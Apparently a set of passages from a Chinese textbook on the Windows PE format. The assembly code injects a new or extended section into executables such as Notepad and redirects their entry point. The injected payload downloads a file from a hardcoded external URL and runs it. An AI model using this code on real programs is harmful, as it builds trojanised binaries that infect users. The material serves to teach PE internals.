新增加节的节表项所在文件起始偏移，可以由以上变量lpPatchPE和dwPE_SECTIONSize相加得到；新增加的节的内容所在文件的起始偏移，则是由以上变量lpOthers和dwSectionsAlignLeft相加得到。 获得新文件大小以后，按照新文件大小dwNewFileSize申请内存空间。 16.3.3 构造新文件数据 16.3.3 构造新文件数据 内存空间申请成功后，即可构造新文件的数据了，构造包含以下过程： 步骤1 将目标文件的有效数据部分复制到申请的空间中。 步骤2 复制PE头及目标节表。 步骤3 定位到lpOthers，复制节的详细内容。 步骤4 将补丁代码附加到新的节中。 可以看到，在新文件数据构造的第4步，才实现了编程思路中的第2步附加代码补丁部分。 16.3.4 修正字段参数 16.3.4 修正字段参数 最后，需要修改文件头部的某些字段和一些参数，以便操作系统加载器可以正确加载并运行新文件。这些待修正的字段主要包括： 新节的IMAGE_SECTION_HEADER结构中的所有字段 节的个数 DOS头中的e_flanew值 函数入口地址 补丁代码中的E9指令后的操作数 原节表中节表项目与文件偏移有关的几个字段 SizeOfHeaders SizeOfImage 字段参数修正的第一步，就是对新增加的节的节表项字段进行赋值。字段修正还包括PE头部字段修正和跳转指令修正。所有工作完成以后，将修改完的新文件数据写入磁盘文件。"},
    {"text": "代码清单16-2 补丁工具的函数_openFile（chapter16\\bind.asm） 1 ;到此为止 2 ;两个内存文件的指针已经获取到了 3 ;@lpMemory和@lpMemory1分别指向两个文件头 4 5 ;补丁代码段大小 6 invoke getCodeSegSize,@lpMemory 7 mov dwPatchCodeSize,eax 8 9 invoke wsprintf,addr szBuffer,addr szOut100,eax 10 invoke _appendInfo,addr szBuffer 11 12 13 ;将新增节按照文件FileAlign对齐 14 invoke getFileAlign,@lpMemory1 15 mov dwFileAlign,eax 16 mov ebx,eax 17 18 xor edx,edx 19 mov eax,dwPatchCodeSize 20 div bx 21 .if edx＞0 22 inc eax 23 .endif 24 xor edx,edx 25 mov ebx,dwFileAlign 26 mul bx 27 mov dwNewSectionSize,eax ;新增节的大小 28 29 invoke wsprintf,addr szBuffer,addr szOut114,eax 30 invoke _appendInfo,addr szBuffer 31 32 程序首先获取补丁程序代码段的大小，并将该大小按照文件对齐粒度对齐，计算出要新增加的节的大小。 33 ;调整esi,edi指向DOS头 34 mov esi,@lpMemory 35 assume esi:ptr IMAGE_DOS_HEADER 36 mov edi,@lpMemory1 37 assume edi:ptr IMAGE_DOS_HEADER 38 39 nop 40 41 ;查找原PE头的有效数据长度 42 invoke getValidHeadSize,@lpMemory1 43 mov dwValidHeadSize,eax 44 45 ;将该值以8位对齐，否则会提示无效Win32程序 46 xor edx,edx 47 mov bx,8 48 div bx 49 .if edx＞0 50 inc eax 51 .endif 52 xor edx,edx 53 mul bx 54 55 mov lpPatchPE,eax 56 57 pushad 58 invoke wsprintf,addr szBuffer,addr szOut101,dwValidHeadSize 59 invoke _appendInfo,addr szBuffer 60 invoke wsprintf,addr szBuffer,addr szOut102,lpPatchPE 61 invoke _appendInfo,addr szBuffer 62 popad 63 64 65 invoke _getRVACount,@lpMemory1 66 xor edx,edx 67 mov bx,sizeof IMAGE_SECTION_HEADER 68 mul bx 69 mov dwSections,eax 70 pushad 71 invoke wsprintf,addr szBuffer,addr szOut111,dwSections 72 invoke _appendInfo,addr szBuffer 73 popad 74 75 76 ;eax中存放了目标文件PE头和节表大小的和 77 add eax,sizeof IMAGE_NT_HEADERS 78 mov dwPE_SECTIONSize,eax 79 80 mov ebx,lpPatchPE 81 add ebx,eax 82 add ebx,sizeof IMAGE_SECTION_HEADER ;新节的大小 83 add ebx,sizeof IMAGE_SECTION_HEADER ;最后的0结构 84 mov dwHeaderSize,ebx ;头的有效数据大小 85 86 ;将文件头按照文件FileAlign对齐 87 invoke getFileAlign,@lpMemory1 88 mov dwFileAlign,eax 89 mov ebx,eax 90 91 xor edx,edx 92 mov eax,dwHeaderSize 93 94 pushad 95 invoke wsprintf,addr szBuffer,addr szOut109,dwHeaderSize 96 invoke _appendInfo,addr szBuffer 97 popad 98 99 div bx 100 .if edx＞0 101 inc eax 102 .endif 103 xor edx,edx 104 mov ebx,dwFileAlign 105 mul bx ;eax中是求出的对齐了以后的文件头大小 106 mov dword ptr lpOthers,eax 107 108 pushad 109 invoke wsprintf,addr szBuffer,addr szOut110,lpOthers 110 invoke _appendInfo,addr szBuffer 111 popad 112 以上代码计算出增加新节以后的PE文件头的大小。"},
    {"text": "113 ;求新文件大小 114 mov esi,@lpMemory1 115 assume esi:ptr IMAGE_DOS_HEADER 116 add esi,[esi].e_lfanew 117 assume esi:ptr IMAGE_NT_HEADERS 118 mov edx,esi 119 add edx,sizeof IMAGE_NT_HEADERS 120 mov esi,edx ;节表的起始位置 121 ;求第一节的文件偏移 122 assume esi:ptr IMAGE_SECTION_HEADER 123 mov eax,[esi].PointerToRawData 124 ;判断该值与lpOthers的区别，其差为文件多出的部分 125 mov ebx,lpOthers 126 sub ebx,eax 127 mov dwOff,ebx ;dwOff是文件多出的部分 128 129 130 ;按照文件对齐粒度对齐 131 132 invoke getFileAlign,@lpMemory1 133 mov dwFileAlign,eax 134 mov ebx,eax 135 136 xor edx,edx 137 mov eax,@dwFileSize1 138 div bx 139 .if edx＞0 140 inc eax 141 .endif 142 xor edx,edx 143 mov ebx,dwFileAlign 144 mul bx 145 mov dwNewFileAlignSize,eax ;对齐后的文件大小 146 147 add eax,dwOff 148 ;新文件大小=目标文件大小+多出来的DOS头+新节对齐以后的大小 149 add eax,dwNewSectionSize 150 mov dwNewFileSize,eax 151 152 pushad 153 invoke wsprintf,addr szBuffer,addr szOut105,@dwFileSize1,eax 154 invoke _appendInfo,addr szBuffer 155 popad 156 157 以上代码计算出加入新节后文件的大小。 公式为： 新文件大小=目标文件大小+多出来的DOS头+新节对齐以后的大小 158 ;申请内存空间 159 invoke GlobalAlloc,GHND,dwNewFileSize 160 mov @hDstFile,eax 161 invoke GlobalLock,@hDstFile 162 mov lpDstMemory,eax ;将指针给@lpDst 163 164 165 ;将目标文件的有效数据部分复制到内存区域 166 ;目标文件DOS头+Dos Stub+其他有效数据的大小 167 mov ecx,dwValidHeadSize 168 invoke MemCopy,@lpMemory1,lpDstMemory,ecx 169 170 171 172 173 ;复制PE头及目标节表 174 mov esi,@lpMemory1 175 assume esi:ptr IMAGE_DOS_HEADER 176 add esi,[esi].e_lfanew 177 178 mov edi,lpDstMemory 179 add edi,lpPatchPE 180 181 mov ecx,dwPE_SECTIONSize 182 183 invoke MemCopy,esi,edi,ecx 184 185 ;定位到lpOthers 186 ;复制节的详细内容 187 mov esi,@lpMemory1 188 assume esi:ptr IMAGE_DOS_HEADER 189 add esi,[esi].e_lfanew 190 assume esi:ptr IMAGE_NT_HEADERS 191 mov edx,esi 192 add edx,sizeof IMAGE_NT_HEADERS 193 mov esi,edx ;节表的起始位置 194 195 ;求节表中第一节的文件偏移 196 assume esi:ptr IMAGE_SECTION_HEADER 197 mov eax,[esi].PointerToRawData 198 mov dwFirstSectionStart,eax 199 200 mov esi,@lpMemory1 201 add esi,dwFirstSectionStart 202 203 204 ;判断该值与lpOthers的区别，其差为文件多出的部分 205 mov ebx,lpOthers 206 sub ebx,eax 207 mov dwOff,ebx ;dwOff是文件多出的部分 208 209 mov edi,lpDstMemory 210 add edi,lpOthers 211 212 213 ;将剩余的节的数据复制到指定位置 214 215 mov ecx,@dwFileSize1 216 sub ecx,dwFirstSectionStart 217 mov dwSectionsLeft,ecx ;目标所有节的大小 218 219 ;对齐后的大小 220 mov eax,ecx 221 xor edx,edx 222 mov ebx,dwFileAlign 223 div bx 224 .if edx＞0 225 inc eax 226 .endif 227 mul bx 228 mov dwSectionsAlignLeft,eax 229 mov ecx,eax 230 231 invoke MemCopy,esi,edi,ecx 232 233 234 ;将补丁代码附加到新的节中 235 invoke getCodeSegStart,@lpMemory 236 mov dwPatchCodeSegStart,eax 237 238 ;复制补丁代码 239 mov esi,dwPatchCodeSegStart 240 add esi,@lpMemory 241 242 mov edi,lpDstMemory 243 add edi,lpOthers 244 add edi,dwSectionsAlignLeft 245 246 mov ecx,dwPatchCodeSize 247 invoke MemCopy,esi,edi,ecx 248 249 ;到此为止，数据复制完毕 以上代码完成了从目标代码到新文件的数据复制。"},
    {"text": "250 ;修正新节的内容 251 ;定位到新节 252 mov edi,lpDstMemory 253 add edi,lpPatchPE 254 add edi,dwPE_SECTIONSize 255 assume edi:ptr IMAGE_SECTION_HEADER 256 257 ;修正节的名称 258 push edi 259 mov esi,offset szNewSection 260 mov ecx,8 261 rep movsb 262 pop edi 263 264 ;修正节的长度 265 mov ecx,dwNewSectionSize 266 mov [edi].Misc,ecx 267 ;修正文件中对齐后的尺寸 268 mov [edi].SizeOfRawData,ecx 269 270 271 ;在文件中的偏移 272 ;算法，在节表中找到最后一个的内容相加即可 273 mov eax,dwFileAlign 274 mov ebx,eax 275 276 xor edx,edx 277 mov eax,dwSectionsLeft ;注意：该值可能未对齐 278 div bx 279 .if edx＞0 280 inc eax 281 .endif 282 xor edx,edx 283 mov ebx,dwFileAlign 284 mul bx 285 286 add eax,lpOthers 287 mov dwNewSectionOff,eax ;新增代码在文件中的偏移 288 mov [edi].PointerToRawData,eax 289 ;节的属性 290 mov eax,0E0000060h 291 mov [edi].Characteristics,eax 292 ;节在内存中的RVA 293 invoke _getNewSectionRVA,@lpMemory1 294 mov [edi].VirtualAddress,eax 295 296 ;更改节的个数 297 mov edi,lpDstMemory 298 add edi,lpPatchPE 299 assume edi:ptr IMAGE_NT_HEADERS 300 invoke _getSectionCount,@lpMemory1 301 mov dwSectionCount,eax 302 inc eax 303 mov [edi].FileHeader.NumberOfSections,ax 304 305 ;更改DOS头中的e_flanew值 306 mov edi,lpDstMemory 307 assume edi:ptr IMAGE_DOS_HEADER 308 mov eax,lpPatchPE 309 mov [edi].e_lfanew,eax 310 311 ;获得函数入口地址 312 invoke getEntryPoint,@lpMemory1 313 mov dwDstEntryPoint,eax 314 pushad 315 invoke wsprintf,addr szBuffer,addr szOut106,eax 316 invoke _appendInfo,addr szBuffer 317 popad 318 319 320 ;求新入口指针 321 mov eax,dwNewSectionOff 322 invoke _OffsetToRVA,lpDstMemory,eax 323 mov dwNewEntryPoint,eax ;新入口指针 324 325 pushad 326 invoke wsprintf,addr szBuffer,addr szOut115,eax 327 invoke _appendInfo,addr szBuffer 328 popad 329 330 331 ;修正各种值 332 333 ;修正函数入口地址 334 mov esi,@lpMemory 335 assume esi:ptr IMAGE_DOS_HEADER 336 mov edi,lpDstMemory 337 assume edi:ptr IMAGE_DOS_HEADER 338 add esi,[esi].e_lfanew 339 assume esi:ptr IMAGE_NT_HEADERS 340 add edi,[edi].e_lfanew 341 assume edi:ptr IMAGE_NT_HEADERS 342 mov eax,dwNewEntryPoint 343 mov [edi].OptionalHeader.AddressOfEntryPoint,eax 344 345 346 ;修正补丁代码中的E9指令后的操作数 347 mov eax,lpDstMemory 348 add eax,lpOthers 349 add eax,dwSectionsAlignLeft 350 add eax,dwPatchCodeSize 351 352 sub eax,5 ;eax指向了E9的操作数 353 mov edi,eax 354 355 sub eax,lpDstMemory 356 add eax,4 357 358 mov ebx,dwDstEntryPoint 359 invoke _OffsetToRVA,lpDstMemory,eax 360 sub ebx,eax 361 mov dword ptr [edi],ebx 362 363 pushad 364 invoke wsprintf,addr szBuffer,addr szOut112,ebx 365 invoke _appendInfo,addr szBuffer 366 popad 367 368 369 ;修正节表中记录文件偏移的几个字段 370 invoke changeRawOffset,@lpMemory,@lpMemory1 371 372 ;修正SizeOfCode 373 ;因为该值只影响调试，不影响执行效果，所以不做修改 374 375 ;修正SizeOfHeaders最重要，如果不修改程序无法运行 376 mov edi,lpDstMemory 377 assume edi:ptr IMAGE_DOS_HEADER 378 add edi,[edi].e_lfanew 379 assume edi:ptr IMAGE_NT_HEADERS 380 mov eax,dwHeaderSize 381 mov [edi].OptionalHeader.SizeOfHeaders,eax 382 383 ;修正SizeOfImage 384 ;该值发生了变化，必须修改， 385 ;否则会提示不是有效的Win32应用程序 386 mov esi,@lpMemory1 387 assume esi:ptr IMAGE_DOS_HEADER 388 add esi,[esi].e_lfanew 389 assume esi:ptr IMAGE_NT_HEADERS 390 mov eax,[esi].OptionalHeader.SizeOfImage 391 mov dwDstSizeOfImage,eax 392 ;计算新增节部署到内存后占用的内存 393 mov eax,dwNewSectionSize 394 xor edx,edx 395 mov bx,1000h 396 div bx 397 .if edx＞0 398 inc eax 399 .endif 400 xor edx,edx 401 mul bx 402 mov dwNewSizeOfImage,eax 403 404 mov edi,lpDstMemory 405 assume edi:ptr IMAGE_DOS_HEADER 406 add edi,[edi].e_lfanew 407 assume edi:ptr IMAGE_NT_HEADERS 408 mov eax,dwDstSizeOfImage 409 add eax,dwNewSizeOfImage ;新的SizeOfImage值 410 mov [edi].OptionalHeader.SizeOfImage,eax 411 412 ;将新文件内容写入到c:\\bindA.exe 413 invoke writeToFile,lpDstMemory,dwNewFileSize 最后，程序修正了许多参数，这些参数包括SizeOfImage、程序入口、新节数据结构中的各字段值、SizeOfHeaders、补丁代码中的跳转指令操作数等。"},
    {"text": "16.3.6 运行测试 16.3.6 运行测试 以下是通过bind.asm为记事本程序打补丁时的输出信息： 大家可以尝试使用该补丁程序对其他的系统程序实施补丁，并对生成的打过补丁以后的程序运行并测试。 16.4 小结 16.4 小结 本章通过扩充文件尾部实现新增节，并在文件头部节表部分新增加一个表项。因为节表在文件头部的最后，所以，增加的节表占用了对齐补足的部分，不会影响到其他的数据。 为了降低编写补丁工具的难度，在补丁代码中还使用了前面几章讲述的编程技术，如补丁代码中对涉及地址的地方使用了本书6.1节中的代码重定位技术，对导入函数的调用则使用了本书11.4节中介绍的API函数地址的动态获取技术，等等。因此，大家要学会整体上使用嵌入补丁框架技术，局部上学习综合运用代码重定位技术和动态加载技术，以增强补丁程序的可移植性，降低补丁工具编写的难度。"},
    {"text": "幸运的是，相对于可运行的PE文件来说，由于操作系统为每个进程分配的地址空间是独立的，所以其被装载时总是被放置到指定的位置，所以，在可运行的PE里，不存在重定位节。"},
    {"text": "从网络上下载文件时，会用到动态链接库wininet.dll，其中包含了Win32下与网络有关的函数，利用这些函数实现基于HTTP协议和FTP协议的服务连接和文件传输等功能。"},
    {"text": "下载器首先通过检测本地网络连接状态，确定是否执行下载操作（本实例会循环检测网络连接状态，直到发现一个连接为止），下载时使用函数InternetOpenURL打开指定URL地址的连接； 然后，使用InternetReadFile读取要下载的文件相关数据，并写入本地文件，完成对网络文件的下载。"},
    {"text": "如果函数参数中有字符串，则通常还会存在两个版本的相同名称的函数，例如，读取文件的扩展函数InternetReadFileExA，除此之外，还有一个名称是InternetReadFileExW。"},
    {"text": "1.函数InternetGetConnectedStateEx 该函数用来检测当前电脑的网络连接情况。 以下是该函数的完整定义： BOOL InternetGetConnectedStateEx( __out LPDWORD lpdwFlags, __out LPTSTR lpszConnectionName, __in DWORD dwNameLen, __in DWORD dwReserved ); 函数参数解释如下： 1）lpdwFlags：出口参数，它是一个指向所获得的连接状态的指针。"},
    {"text": "5）返回值：如果有一个活动的Internet连接，则返回TRUE，具体使用什么方式连接的网络则通过第一个参数lpdwFlags查找； 如果没有Internet连接或连接当前不可用，则返回FALSE。"},
    {"text": "函数原型如下： HINTERNET WINAPI InternetOpen( LPCTSTR lpszAgent,//调用WinINet函数的应用程序 DWORD dwAccessType,//访问类别 LPCTSTR lpszProxy,//代理 LPCTSTR lpszProxyBypass,//指向可选主机的字符串 DWORD dwFlags//标志 ); 函数参数解释如下： 1）lpszAgent：指定调用WinINet函数的应用程序或入口，该入口用做HTTP协议中的用户代理项。"},
    {"text": "2）dwAccessType：指定返回参数的类别，该参数可为下列值之一： INTERNET_OPEN_TYPE_DIRECT：用于解析所有本地主机； INTERNET_OPEN_TYPE_PRECONFIG：返回注册表中代理或直接的配置； INTERNET_OPEN_TYPE_PRECONFIG_WITH_NO_AUTOPROXY：返回注册表中代理或直接的配置，并忽略通过自动脚本（如Microsoft Jscript等）设置的其他代理配置； INTERNET_OPEN_TYPE_PROXY：为代理传递请求，除非代理提供了旁路列表且解析的名字可以绕过代理，此时，函数使用INTERNET_OPEN_TYPE_DIRECT。 3）lpszProxy：指定当dwAccessType类型为INTERNET_OPEN_TYPE_PROXY时，代理服务器的名字。"},
    {"text": "完整定义如下： BOOL InternetSetOption( __in HINTERNET hInternet,//操作句柄 __in DWORD dwOption,//设定的参数 __in LPVOID lpBuffer,//存放设置参数或返回结果的缓冲区 __in DWORD dwBufferLength//缓冲区尺寸 ); 函数参数解释如下： 1）dwOption：要设置的连接Internet的选项。"},
    {"text": "4.函数InternetOpenUrl 本函数用于打开一个URL地址指定的文件。 函数完整定义如下： HINTERNET InternetOpenUrl( HINTERNET hInternet,//句柄 LPCTSTR lpszUrl,//打开URL地址 LPCTSTR lpszHeaders,//头部 DWORD dwHeadersLength,//头部长度 DWORD dwFlags,//打开URL地址的属性 DWORD_PTR dwContext//环境变量 ); 函数参数解释如下： 1）hInternet：当前的Internet会话句柄。"},
    {"text": "INTERNET_FLAG_NO_AUTH：不试图自动验证。 INTERNET_FLAG_NO_AUTO_REDIRECT：不自动处理HttpSendRequest中的重定向。 INTERNET_FLAG_NO_CACHE_WRITE：不添加返回实体到缓存。 INTERNET_FLAG_NO_COOKIES：不会自动添加的Cookie头到请求，并且不自动添加返回的Cookies到Cookie数据库。 INTERNET_FLAG_NO_UI：禁用Cookie的对话框。 INTERNET_FLAG_PRAGMA_NOCACHE：即使代理中存在缓存副本，也强制要求由源服务器返回。 INTERNET_FLAG_RELOAD：从源服务器强制下载所要求的文件、对象或目录列表，而不是从缓存下载。 INTERNET_FLAG_RESYNCHRONIZE：重新加载的HTTP资源，如果资源在最后一次下载后已被修改，所有FTP和Gopher资源将被重载。 INTERNET_FLAG_SECURE：使用安全传输语义。"},
    {"text": "5.函数HttpQueryInfo 该函数返回一个与HTTP请求关联的信息头。 函数完整定义如下： BOOL HttpQueryInfo( __in HINTERNET hRequest,//句柄 __in DWORD dwInfoLevel,//修改请求用的属性和标识符的组合 __inout LPVOID lpvBuffer,//接收请求信息的缓冲区 __inout LPDWORD lpdwBufferLength,//缓冲区长度 __inout LPDWORD lpdwIndex//指向一个基于0的头索引 ); 函数参数解释如下： 1）hRequest：由HttpOpenRequest或InternetOpenUrl函数返回的句柄。"},
    {"text": "6.函数InternetReadFile 本函数用于读取网络上指定URL的文件。 函数完整定义如下： BOOL WINAPI InternetReadFile( HINTERNET hFile,//网络文件句柄 LPVOID lpBuffer,//存储下载内容的缓冲区 DWORD dwNumberOfBytesToRead,//要读取的字节长度 LPDWORD lpdwNumberOfBytesRead//读到的字节长度 ); 函数参数解释如下： 1）hFile：通过函数InternetOpenUrl、FtpOpenFile或HttpOpenRequest返回的合法的网络文件句柄。"},
    {"text": "7.函数InternetCloseHandle 该函数用于关闭已打开的Internet文件。 完整定义如下： BOOL InternetCloseHandle( __in HINTERNET hInternet//要关闭的文件句柄 ); 函数参数解释如下： 1）hInternet：要关闭的文件句柄。"},
    {"text": "17.1.2 补丁功能的预演代码 17.1.2 补丁功能的预演代码 如果直接编写补丁程序，需要通过补丁工具将补丁程序嵌入到目标PE文件中才能进行测试，这种方法不利于对程序的调试和纠错；因此，对于相对复杂的补丁程序的编写，应该先从它的功能代码开始。方法是编写一个简单的功能预演代码，该预演代码能够实现补丁程序应具备的所有功能；通过对预演代码的调试，能及时方便地发现代码中存在的错误并改正。当所有代码逻辑都没有问题以后，再着手编写补丁程序。代码清单17-1是实现目标补丁的功能代码（注意，这不是补丁程序）。 代码清单17-1 网络下载器的补丁程序预演版（chapter17\\a\\download.asm） 1 ;------------------------ 2 ;下载器（该源代码为功能的预演版） 3 ;未使用补丁程序编写规范 4 ;戚利 5 ;2011.2.25 6 ;------------------------ 7 .386 8 .model flat,stdcall 9 option casemap:none 10 11 include windows.inc 12 include user32.inc 13 includelib user32.lib 14 include kernel32.inc 15 includelib kernel32.lib 16 include wininet.inc 17 includelib wininet.lib 18 .code 19 jmp start 20 21 szText db 'HelloWorld',0 22 lpCN db 256 dup(0) 23 lpDWFlag dd ? 24 szTempPath db '.',0 25 szAppName db 'Shell',0 26 lpszURL db 'http://www.jntljdx.com/downloadfile/gz.doc',0 27 hInternet dd ? 28 hInternetFile dd ? 29 hThreadID dd ? 30 31 ;代码段 32 .code 33 34 ;----------------------- 35 ;线程函数，下载并运行 36 ;参数_lpURL指向要下载的文件 37 ;----------------------- 38 _downAndRun proc _lpURL 39 local @szFileName [256]:byte 40 local @dwBuffer,@dwNumberOfBytesWritten,@dwBytesToWrite 41 local @lpBuffer [200h]:byte 42 local @hFile 43 local @stStartupInfo:STARTUPINFO 44 local @stProcessInformation:PROCESS_INFORMATION 45 46 invoke GetTempFileName,addr szTempPath,NULL,\\ 47 0,addr @szFileName 48 invoke InternetOpen,offset szAppName,\\ 49 INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0 50 .if eax!=NULL 51 mov hInternet,eax 52 53 ;设置链接超时值和接收超时值 54 invoke InternetSetOption,hInternet,\\ 55 INTERNET_OPTION_CONNECT_TIMEOUT,addr @dwBuffer,4 56 invoke InternetSetOption,hInternet,\\ 57 INTERNET_OPTION_CONTROL_RECEIVE_TIMEOUT,\\ 58 addr @dwBuffer,4 59 ;用当前参数打开URL 60 invoke InternetOpenUrl,hInternet,_lpURL,NULL,NULL,\\ 61 INTERNET_FLAG_EXISTING_CONNECT,0 62 .if eax!=NULL 63 mov hInternetFile,eax 64 mov @dwNumberOfBytesWritten,200h 65 ;读HTTP文件头 66 invoke HttpQueryInfo,hInternetFile,HTTP_QUERY_STATUS_CODE,\\ 67 addr @lpBuffer,addr @dwNumberOfBytesWritten,0 68 69 .if eax!=NULL 70 ;打开临时文件准备写 71 invoke CreateFile,addr @szFileName,GENERIC_WRITE,\\ 72 0,NULL,OPEN_ALWAYS,0,0 73 .if eax!=0FFFFFFFFh 74 mov @hFile,eax 75 .while TRUE 76 mov @dwBytesToWrite,0 77 ;读网络文件数据 78 invoke InternetReadFile,hInternetFile,addr @lpBuffer,\\ 79 200h,addr @dwBytesToWrite 80 .break.if(!eax) 81 .break.if(@dwBytesToWrite == 0) 82 ;写入文件 83 invoke WriteFile,@hFile,addr @lpBuffer, 84 @dwBytesToWrite,addr @dwNumberOfBytesWritten,0 85 .endw 86 invoke SetEndOfFile,@hFile 87 invoke CloseHandle,@hFile 88 .endif 89 .endif 90 invoke InternetCloseHandle,hInternetFile 91 .endif 92 invoke InternetCloseHandle,hInternet 93 .endif 94 95 ;运行下载的文件 96 invoke GetStartupInfo,addr @stStartupInfo 97 invoke CreateProcess,NULL,addr @szFileName,NULL,NULL,FALSE,\\ 98 NORMAL_PRIORITY_CLASS,NULL,NULL,\\ 99 addr @stStartupInfo,\\ 100 addr @stProcessInformation 101 .if eax == 0 102 invoke CloseHandle,@stProcessInformation.hThread 103 invoke CloseHandle,@stProcessInformation.hProcess 104 .endif 105 ret 106 _downAndRun endp 107 108 109 start: 110 ;测试网络是否连通 111 .while TRUE 112 invoke Sleep,1000 ;睡眠1秒 113 invoke InternetGetConnectedStateEx,\\ 114 addr lpDWFlag,\\ 115 addr lpCN,256,0 116 .break.if eax 117 .endw 118 invoke _downAndRun,addr lpszURL 119 db 0E9h,0ffh,0ffh,0ffh,0ffh 120 end start 行110～117是一个循环，主要用来测试网络是否联通。如果联通，则开始下载由URL地址指定的网络文件。下载时，每次读取200h个字节，并写入到预先生成的临时文件中；最后，通过调用CreateProcess函数来运行下载后的程序。 本程序试图联接www.jntljdx.com网站，并从该网站下载文件gz.doc。 注意 在实际测试中，读者可以在互联网的某个网站上部署一个可执行文件，然后修改代码中指定要下载的URL地址。"},
    {"text": "17.1.3 补丁程序的源代码 17.1.3 补丁程序的源代码 经过补丁功能代码的反复调试，如果没有错误，则可以进行补丁代码的编写。代码清单17-2是网络文件下载器的补丁代码，使用了本书13.3节介绍的嵌入补丁框架。这里只选取其中的一小部分，完整的补丁程序请参考随书文件chapter17\\a\\patch.asm。 代码清单17-2 从网络下载文件的补丁代码片断（chapter17\\a\\patch.asm） 1 _patchFun proc _kernel,_getAddr,_loadLib 2 3 ;------------------------------------------------------ 4 ;补丁功能代码局部变量定义 5 ;------------------------------------------------------ 6 pushad 7 ;测试网络是否连通 8 .while TRUE 9 push 1000 10 mov edx,_sleep [ebx] ;睡眠1秒 11 call edx 12 13 push 0 14 push 256 15 mov edx,offset lpCN 16 add edx,ebx 17 push edx 18 mov edx,offset lpDWFlag 19 add edx,ebx 20 push edx 21 22 mov edx,_internetGetConnectedStateEx [ebx] ;测试网络连通状态 23 call edx 24 .break.if eax 25 .endw 26 mov edx,offset lpszURL 27 add edx,ebx 28 push edx 29 mov edx,offset _downAndRun ;下载文件并执行 30 add edx,ebx 31 call edx 32 33 popad 34 ret 35 _patchFun endp 补丁代码和功能代码在逻辑思路上是完全一致的，所不同的是代码的表现方法。在补丁代码中使用了重定位技术和动态加载技术，所以，对每个函数的调用就相对复杂一些。如测试网络连通状态的代码在补丁功能代码中只有一行： invoke InternetGetConnectedStateEx,addr lpDWFlag,addr lpCN,256,0 而在补丁代码中则需要很多行，如下所示： push 0 push 256 mov edx,offset lpCN add edx,ebx push edx mov edx,offset lpDWFlag add edx,ebx push edx mov edx,_internetGetConnectedStateEx [ebx] ;测试网络连通状态 call edx 其他函数的调用方法类似于对函数InternetGetConnectedStateEx的调用，不再累述。 17.1.4 目标PE结构 17.1.4 目标PE结构 在PE最后一节中插入程序后PE文件的结构如图17-1所示。 图 17-1 最后一节插入程序后的目标PE结构 如图所示，附加代码即为补丁字节码，添加到目标PE文件末尾作为最后一节的一部分。图中标识的各变量解释（这些变量在补丁工具代码中被定义）如下： dwLastSectionAlignSize：最后一节对齐后的尺寸（含嵌入的补丁字节码）。 dwNewFileSize：补丁后的目标PE文件的总大小。 dwLastSectionStart：最后一节起始位置在文件中的偏移量。 @dwFileSize1：目标PE最后一节未对齐时的大小（此大小不包含补丁代码）。 dwNewFileAlignSize：附加代码在文件中的起始位置。 17.2 开发补丁工具 17.2 开发补丁工具 下面将介绍在PE最后一节中插入程序的补丁工具的开发。和前几章的补丁工具类似，本节的补丁工具完成了对补丁代码的附加，以及对参数的修正操作。 17.2.1 编程思路 在PE最后一节中插入程序的基本思路如下： 步骤1 在PE文件的最后一节将补丁代码附加进去。 步骤2 修改最后一个节表的内容，主要是SizeOfRawData、PointerToRawData和Characteristics三个字段的值。 步骤3 修正PE文件头部的相关字段，这些字段包括：映像尺寸SizeOfImage、函数的入口地址AddressEntryPoint。 步骤4 修正嵌入补丁框架中E9指令的操作数，即代码中的跳转指令地址。 根据以上分析的编程思路，可以知道编写补丁工具的大致流程如下： 1）获得补丁代码段大小，因为假设补丁程序使用了嵌入框架，所以数据、代码均在代码段中，补丁程序没有数据段定义。 2）将目标文件按照文件对齐粒度对齐。这主要是为了防止有一些文件结尾时，不考虑对齐粒度，从而导致在最后一节添加内容时造成不对齐。 3）求最后一节在文件中的偏移。 4）求最后一节的大小并按照文件对齐粒度对齐。 5）计算出添加了补丁程序的新文件的大小（原文件对齐后的值+补丁大小）。 6）按照计算出的新文件大小申请内存空间，并将原文件复制到申请的内存空间起始位置。 7）复制补丁代码到dwNewFileAlignSize处。 8）计算最后一节的SizeOfRawData和Misc的值，并更正；然后，设置该节的属性为可执行、可读、可写，即0c0000060h。 9）修正文件头部关键字段SizeOfImage。 10）修正函数入口地址和嵌入补丁框架最后的E9转移指令的操作数。 11）将内存中的内容复制到磁盘文件中。"},
    {"text": "17.2.2 主要代码 17.2.2 主要代码 本节补丁工具的编写借用了第2章介绍的通用窗口程序框架pe.asm，补丁工具的主要代码在函数_openFile中。代码清单17-3列出了本节补丁工具的主要代码。 代码清单17-3 补丁工具主要代码（chapter17\\bind.asm） 1 ;补丁代码段大小 2 invoke getCodeSegSize,@lpMemory 3 mov dwPatchCodeSize,eax 4 5 invoke wsprintf,addr szBuffer,addr szOut100,eax 6 invoke _appendInfo,addr szBuffer 7 8 9 ;将文件大小按照文件对齐粒度对齐 10 11 invoke getFileAlign,@lpMemory1 12 mov dwFileAlign,eax 13 xchg eax,ecx 14 mov eax,@dwFileSize1 15 invoke _align 16 mov dwNewFileAlignSize,eax 17 18 invoke wsprintf,addr szBuffer,addr szOut121,@dwFileSize1,\\ 19 dwNewFileAlignSize 20 invoke _appendInfo,addr szBuffer 21 22 ;求最后一节在文件中的偏移 23 invoke getLastSectionStart,@lpMemory1 24 mov dwLastSectionStart,eax 25 26 invoke wsprintf,addr szBuffer,addr szOut122,eax 27 invoke _appendInfo,addr szBuffer 28 29 ;求最后一节大小 30 mov eax,dwNewFileAlignSize 31 sub eax,dwLastSectionStart 32 add eax,dwPatchCodeSize 33 ;将该值按照文件对齐粒度对齐 34 mov ecx,dwFileAlign 35 invoke _align 36 mov dwLastSectionAlignSize,eax 37 38 invoke wsprintf,addr szBuffer,addr szOut123,eax 39 invoke _appendInfo,addr szBuffer 40 41 42 ;求新文件大小 43 mov eax,dwLastSectionStart 44 add eax,dwLastSectionAlignSize 45 mov dwNewFileSize,eax 46 47 invoke wsprintf,addr szBuffer,addr szOut124,eax 48 invoke _appendInfo,addr szBuffer 49 50 51 ;申请内存空间 52 invoke GlobalAlloc,GHND,dwNewFileSize 53 mov @hDstFile,eax 54 invoke GlobalLock,@hDstFile 55 mov lpDstMemory,eax ;将指针给@lpDst 56 57 58 ;将目标文件复制到内存区域 59 mov ecx,@dwFileSize1 60 invoke MemCopy,@lpMemory1,lpDstMemory,ecx 61 62 ;将补丁代码附加到最后一节中 63 invoke getCodeSegStart,@lpMemory 64 mov dwPatchCodeSegStart,eax 65 66 ;复制补丁代码 67 mov esi,dwPatchCodeSegStart 68 add esi,@lpMemory 